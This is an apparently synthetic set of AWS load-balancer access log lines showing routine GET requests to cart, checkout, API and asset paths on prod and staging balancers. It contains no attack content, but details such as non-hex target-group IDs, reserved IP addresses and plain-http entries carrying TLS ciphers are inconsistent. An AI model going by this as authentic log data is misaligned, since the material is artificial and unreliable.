"200" "-" "-" +https 2024-11-01T02:08:32.830679Z prod-web-alb 128.233.37.69:62294 10.0.34.176:443 0.090702 0.430325 0.007174 200 200 786 9583 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5b0-d6de3e57d10845de8145967e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:08:32.830679Z "forward" "-" "-" "10.0.34.176:443" "200" "-" "-" +https 2024-11-01T02:08:33.699609Z prod-api-alb 78.195.3.93:24597 10.0.143.61:443 0.038002 0.218026 0.054821 200 200 237 4133 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5b1-57665b4489ef4a11ad79004f" "prod-api-alb.example.com" "-" 5 2024-11-01T02:08:33.699609Z "forward" "-" "-" "10.0.143.61:443" "200" "-" "-" +https 2024-11-01T02:08:35.364561Z prod-web-alb 173.158.40.42:44115 10.0.166.176:443 0.077766 0.071485 0.022542 200 200 620 11916 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5b3-9fc221723f4e4e088ba1d916" "prod-web-alb.example.com" "-" 1 2024-11-01T02:08:35.364561Z "forward" "-" "-" "10.0.166.176:443" "200" "-" "-" +http 2024-11-01T02:08:35.989477Z staging-alb 190.227.195.5:33468 31.150.49.239:80 0.108235 0.025771 0.145709 200 200 710 9448 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5b3-f9f47a93d2284b739e2d8d5c" "staging-alb.example.com" "-" 7 2024-11-01T02:08:35.989477Z "forward" "-" "-" "31.150.49.239:80" "200" "-" "-" +https 2024-11-01T02:08:37.431385Z prod-web-alb 42.94.121.142:43724 10.0.28.225:443 0.064616 0.366775 0.076841 200 200 983 6406 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5b5-e355a3c7982a4c82ac3ace50" "prod-web-alb.example.com" "-" 5 2024-11-01T02:08:37.431385Z "forward" "-" "-" "10.0.28.225:443" "200" "-" "-" +https 2024-11-01T02:08:38.601579Z prod-api-alb 21.15.9.213:24946 10.0.44.71:443 0.086706 0.145149 0.039133 301 301 640 4450 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5b6-99153172b2c14c30b017e865" "prod-api-alb.example.com" "-" 7 2024-11-01T02:08:38.601579Z "forward" "-" "-" "10.0.44.71:443" "301" "-" "-" +https 2024-11-01T02:08:39.397222Z prod-api-alb 0.159.70.64:37594 10.0.212.168:443 0.000986 0.173984 0.063854 301 301 365 12850 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5b7-571efd7b42474208afdaa346" "prod-api-alb.example.com" "-" 0 2024-11-01T02:08:39.397222Z "forward" "-" "-" "10.0.212.168:443" "301" "-" "-" +https 2024-11-01T02:08:39.837976Z prod-web-alb 188.249.182.230:31301 10.0.207.2:443 0.094551 0.460847 0.080419 200 200 713 8043 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5b7-254dbbb316574850b579b812" "prod-web-alb.example.com" "-" 0 2024-11-01T02:08:39.837976Z "forward" "-" "-" "10.0.207.2:443" "200" "-" "-" +https 2024-11-01T02:08:41.820717Z prod-api-alb 2.187.220.250:12287 10.0.149.75:443 0.097912 0.447970 0.011072 404 404 91 1413 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5b9-b692ce3abe904baebb294ca3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:08:41.820717Z "forward" "-" "-" "10.0.149.75:443" "404" "-" "-" +https 2024-11-01T02:08:41.957216Z prod-web-alb 150.124.248.86:41821 10.0.165.239:443 0.014993 0.358583 0.004153 200 200 307 13415 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5b9-eb06211e7d0c4f16870c960c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:08:41.957216Z "forward" "-" "-" "10.0.165.239:443" "200" "-" "-" +https 2024-11-01T02:08:42.618240Z prod-api-alb 56.144.243.113:55646 10.0.90.205:443 0.060062 0.014393 0.045262 200 200 40 5116 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5ba-1e609aa3cf8743dcab253d36" "prod-api-alb.example.com" "-" 1 2024-11-01T02:08:42.618240Z "forward" "-" "-" "10.0.90.205:443" "200" "-" "-" +https 2024-11-01T02:08:43.664144Z prod-api-alb 74.144.73.30:58543 10.0.137.173:443 0.024709 0.382801 0.070701 200 200 365 883 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5bb-379e920c03404af8b65305e8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:08:43.664144Z "forward" "-" "-" "10.0.137.173:443" "200" "-" "-" +https 2024-11-01T02:08:43.838480Z prod-web-alb 180.70.46.249:52940 10.0.2.150:443 0.042000 0.343970 0.049340 200 200 447 9834 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5bb-39730a9f5dfe4933a6757c8b" "prod-web-alb.example.com" "-" 0 2024-11-01T02:08:43.838480Z "forward" "-" "-" "10.0.2.150:443" "200" "-" "-" +https 2024-11-01T02:08:44.269301Z prod-web-alb 28.81.28.255:44127 10.0.93.113:443 0.084089 0.065493 0.071167 200 200 257 6745 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5bc-10a65ef961ef452aa07ed2db" "prod-web-alb.example.com" "-" 7 2024-11-01T02:08:44.269301Z "forward" "-" "-" "10.0.93.113:443" "200" "-" "-" +https 2024-11-01T02:08:46.050131Z prod-api-alb 193.39.7.202:44998 10.0.167.61:443 0.028557 0.426785 0.020881 404 404 166 11656 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5be-60cf94117c824421add26af7" "prod-api-alb.example.com" "-" 0 2024-11-01T02:08:46.050131Z "forward" "-" "-" "10.0.167.61:443" "404" "-" "-" +https 2024-11-01T02:08:46.274496Z staging-alb 144.28.253.59:49133 54.194.146.246:80 0.022995 0.137063 0.017295 301 301 305 8478 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5be-b9ed27ecc3e14fd28e360759" "staging-alb.example.com" "-" 1 2024-11-01T02:08:46.274496Z "forward" "-" "-" "54.194.146.246:80" "301" "-" "-" +http 2024-11-01T02:08:46.503237Z staging-alb 149.124.144.11:62881 242.106.242.178:8080 0.038499 0.721814 0.015705 200 200 329 7494 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5be-cbc9effd3f744b539c0ceb94" "staging-alb.example.com" "-" 0 2024-11-01T02:08:46.503237Z "forward" "-" "-" "242.106.242.178:8080" "200" "-" "-" +http 2024-11-01T02:08:48.481198Z staging-alb 174.11.2.226:38900 131.30.98.103:443 0.102220 0.503038 0.149506 200 200 390 4629 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5c0-1d3711b019114f08be22723e" "staging-alb.example.com" "-" 9 2024-11-01T02:08:48.481198Z "forward" "-" "-" "131.30.98.103:443" "200" "-" "-" +https 2024-11-01T02:08:49.610861Z prod-web-alb 218.236.54.64:19341 10.0.127.24:443 0.089758 0.109838 0.028340 200 200 616 8711 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c1-c5a57853f22d43768cc5a892" "prod-web-alb.example.com" "-" 1 2024-11-01T02:08:49.610861Z "forward" "-" "-" "10.0.127.24:443" "200" "-" "-" +https 2024-11-01T02:08:50.035886Z prod-web-alb 13.153.134.211:21529 10.0.206.181:443 0.073004 0.406528 0.066930 301 301 338 9214 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c2-edb7323b9ee14428a28955f0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:08:50.035886Z "forward" "-" "-" "10.0.206.181:443" "301" "-" "-" +https 2024-11-01T02:08:51.130096Z prod-web-alb 70.190.148.137:20131 10.0.252.95:443 0.049151 0.413030 0.014237 301 301 807 11371 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c3-50597b419680498a8feb70f9" "prod-web-alb.example.com" "-" 6 2024-11-01T02:08:51.130096Z "forward" "-" "-" "10.0.252.95:443" "301" "-" "-" +https 2024-11-01T02:08:51.337745Z staging-alb 18.62.170.54:19681 135.178.169.100:80 0.048034 0.667172 0.031922 200 200 819 6512 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5c3-885035359b3c4c5686efa46a" "staging-alb.example.com" "-" 10 2024-11-01T02:08:51.337745Z "forward" "-" "-" "135.178.169.100:80" "200" "-" "-" +https 2024-11-01T02:08:52.427972Z prod-web-alb 30.123.142.136:12632 10.0.221.179:443 0.040641 0.345980 0.019457 404 404 757 1293 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5c4-4139bde995e94f5094c4f56e" "prod-web-alb.example.com" "-" 5 2024-11-01T02:08:52.427972Z "forward" "-" "-" "10.0.221.179:443" "404" "-" "-" +https 2024-11-01T02:08:53.318785Z prod-api-alb 18.245.20.137:26473 10.0.90.158:443 0.036289 0.468235 0.081604 200 200 804 9345 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5c5-905d417b15aa4bc2b8583ba4" "prod-api-alb.example.com" "-" 2 2024-11-01T02:08:53.318785Z "forward" "-" "-" "10.0.90.158:443" "200" "-" "-" +https 2024-11-01T02:08:53.523531Z prod-web-alb 4.13.20.226:44498 10.0.165.77:443 0.059561 0.139251 0.084627 200 200 505 13734 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5c5-bad7c23499994599af05da11" "prod-web-alb.example.com" "-" 9 2024-11-01T02:08:53.523531Z "forward" "-" "-" "10.0.165.77:443" "200" "-" "-" +https 2024-11-01T02:08:54.246761Z staging-alb 111.135.231.173:51835 241.196.54.50:80 0.041865 0.610743 0.141870 404 404 274 13333 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5c6-735a1e4f64164b1fba953147" "staging-alb.example.com" "-" 2 2024-11-01T02:08:54.246761Z "forward" "-" "-" "241.196.54.50:80" "404" "-" "-" +http 2024-11-01T02:08:55.982366Z staging-alb 30.72.19.120:11792 1.30.235.235:80 0.141705 0.175134 0.143638 200 200 892 5127 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5c7-a47f49ccdd3d430aaf88ae11" "staging-alb.example.com" "-" 7 2024-11-01T02:08:55.982366Z "forward" "-" "-" "1.30.235.235:80" "200" "-" "-" +https 2024-11-01T02:08:57.982080Z prod-api-alb 65.109.186.214:38053 10.0.170.149:443 0.040823 0.227348 0.023361 301 301 457 5490 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5c9-688c1588bd844ffc8031c267" "prod-api-alb.example.com" "-" 3 2024-11-01T02:08:57.982080Z "forward" "-" "-" "10.0.170.149:443" "301" "-" "-" +https 2024-11-01T02:08:58.100226Z prod-api-alb 152.112.77.85:62125 10.0.40.191:443 0.052249 0.034954 0.030756 301 301 830 9470 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5ca-973f1835f97e4b60bce80f37" "prod-api-alb.example.com" "-" 2 2024-11-01T02:08:58.100226Z "forward" "-" "-" "10.0.40.191:443" "301" "-" "-" +https 2024-11-01T02:09:00.099227Z prod-web-alb 142.49.117.243:51845 10.0.77.230:443 0.044539 0.145580 0.099796 302 302 140 9144 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5cc-0bf8fb5e10224a5dbca74587" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:00.099227Z "forward" "-" "-" "10.0.77.230:443" "302" "-" "-" +https 2024-11-01T02:09:01.901806Z prod-web-alb 168.117.79.45:17927 10.0.128.165:443 0.044393 0.201099 0.082540 302 302 957 10252 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5cd-1d29e28cd7ca48848efa2cb6" "prod-web-alb.example.com" "-" 6 2024-11-01T02:09:01.901806Z "forward" "-" "-" "10.0.128.165:443" "302" "-" "-" +https 2024-11-01T02:09:02.142539Z prod-web-alb 45.17.124.152:37844 10.0.216.30:443 0.065208 0.010682 0.011626 200 200 257 5001 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5ce-1b30f60d3d7c410cb77e514e" "prod-web-alb.example.com" "-" 1 2024-11-01T02:09:02.142539Z "forward" "-" "-" "10.0.216.30:443" "200" "-" "-" +https 2024-11-01T02:09:03.300070Z prod-web-alb 209.77.206.130:50778 10.0.146.242:443 0.082791 0.134614 0.008485 404 404 386 3502 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5cf-624fb032b52242caa3e530b1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:09:03.300070Z "forward" "-" "-" "10.0.146.242:443" "404" "-" "-" +https 2024-11-01T02:09:03.617078Z prod-web-alb 136.22.201.74:13555 10.0.117.148:443 0.053499 0.005233 0.084065 404 404 692 8869 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5cf-70ff336dc6a943338e2c169a" "prod-web-alb.example.com" "-" 0 2024-11-01T02:09:03.617078Z "forward" "-" "-" "10.0.117.148:443" "404" "-" "-" +https 2024-11-01T02:09:04.108563Z prod-api-alb 112.86.140.238:62750 10.0.210.106:443 0.022853 0.352451 0.092738 200 200 642 1227 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5d0-d092cae90b674947a8ba0ccf" "prod-api-alb.example.com" "-" 3 2024-11-01T02:09:04.108563Z "forward" "-" "-" "10.0.210.106:443" "200" "-" "-" +http 2024-11-01T02:09:04.334208Z staging-alb 177.58.36.139:24692 8.91.8.60:443 0.107230 0.618607 0.085580 200 200 869 12258 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d0-ec97eb1c13154d52802c05d5" "staging-alb.example.com" "-" 3 2024-11-01T02:09:04.334208Z "forward" "-" "-" "8.91.8.60:443" "200" "-" "-" +http 2024-11-01T02:09:04.718406Z staging-alb 193.27.228.71:31998 39.136.69.104:8080 0.033406 0.699786 0.046411 403 403 429 3318 "POST /metrics HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5d0-9ab3486f67294df98900c16c" "-" "-" 3 2024-11-01T02:09:04.718406Z "forward" "-" "-" "39.136.69.104:8080" "403" "-" "-" +https 2024-11-01T02:09:05.484357Z prod-api-alb 191.129.120.114:48229 10.0.254.174:443 0.094126 0.086410 0.082991 200 200 836 12172 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5d1-d219d587928a488ba1d53511" "prod-api-alb.example.com" "-" 3 2024-11-01T02:09:05.484357Z "forward" "-" "-" "10.0.254.174:443" "200" "-" "-" +https 2024-11-01T02:09:05.678626Z prod-web-alb 81.52.140.185:31486 10.0.118.230:443 0.085312 0.229093 0.001700 200 200 445 8901 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5d1-56a8a1e1647b4da1a97dde9e" "prod-web-alb.example.com" "-" 0 2024-11-01T02:09:05.678626Z "forward" "-" "-" "10.0.118.230:443" "200" "-" "-" +https 2024-11-01T02:09:06.355683Z prod-web-alb 27.186.219.25:29598 10.0.110.185:443 0.005676 0.268349 0.013366 404 404 232 8859 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5d2-7bab501f3609482ca7e3aafa" "prod-web-alb.example.com" "-" 3 2024-11-01T02:09:06.355683Z "forward" "-" "-" "10.0.110.185:443" "404" "-" "-" +http 2024-11-01T02:09:08.304366Z staging-alb 223.0.161.38:60479 57.212.85.230:80 0.132996 0.040280 0.005248 200 200 418 872 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d4-ca80192efa9f4251a46d5b8e" "staging-alb.example.com" "-" 10 2024-11-01T02:09:08.304366Z "forward" "-" "-" "57.212.85.230:80" "200" "-" "-" +https 2024-11-01T02:09:09.163253Z prod-api-alb 46.187.69.5:43588 10.0.195.22:443 0.093472 0.033988 0.073145 200 200 339 2928 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5d5-051b57ea85d4484abae061c7" "prod-api-alb.example.com" "-" 3 2024-11-01T02:09:09.163253Z "forward" "-" "-" "10.0.195.22:443" "200" "-" "-" +https 2024-11-01T02:09:09.476364Z staging-alb 22.54.57.197:14777 11.223.217.117:80 0.137373 0.020060 0.112144 302 302 308 12472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d5-828d66d1ba2d4cc091243d30" "-" "-" 7 2024-11-01T02:09:09.476364Z "forward" "-" "-" "11.223.217.117:80" "302" "-" "-" +https 2024-11-01T02:09:09.777188Z prod-api-alb 7.19.121.208:24611 10.0.237.154:443 0.093766 0.399441 0.008892 302 302 818 10091 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5d5-058042ee8f39493daf3c8e98" "-" "-" 3 2024-11-01T02:09:09.777188Z "forward" "-" "-" "10.0.237.154:443" "302" "-" "-" +https 2024-11-01T02:09:09.993238Z prod-web-alb 122.167.58.12:55000 10.0.82.237:443 0.062743 0.139920 0.007018 200 200 304 2451 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5d5-61138f31c6b84386b877c051" "prod-web-alb.example.com" "-" 2 2024-11-01T02:09:09.993238Z "forward" "-" "-" "10.0.82.237:443" "200" "-" "-" +https 2024-11-01T02:09:10.630420Z prod-web-alb 198.221.223.202:24727 10.0.44.48:443 0.067606 0.102697 0.090734 200 200 263 11089 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5d6-ff3b8e6e08ab47c8bc957e98" "prod-web-alb.example.com" "-" 3 2024-11-01T02:09:10.630420Z "forward" "-" "-" "10.0.44.48:443" "200" "-" "-" +http 2024-11-01T02:09:11.617738Z staging-alb 60.82.33.185:45602 146.44.209.153:8080 0.068367 0.507230 0.027050 200 200 561 12695 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d7-dd7b47cb815d4d4f8fa5d59a" "staging-alb.example.com" "-" 10 2024-11-01T02:09:11.617738Z "forward" "-" "-" "146.44.209.153:8080" "200" "-" "-" +http 2024-11-01T02:09:13.129024Z staging-alb 33.18.130.221:63478 138.230.144.216:8080 0.056546 0.658605 0.010305 200 200 907 726 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5d9-71795b85052c4160b76c19a7" "staging-alb.example.com" "-" 7 2024-11-01T02:09:13.129024Z "forward" "-" 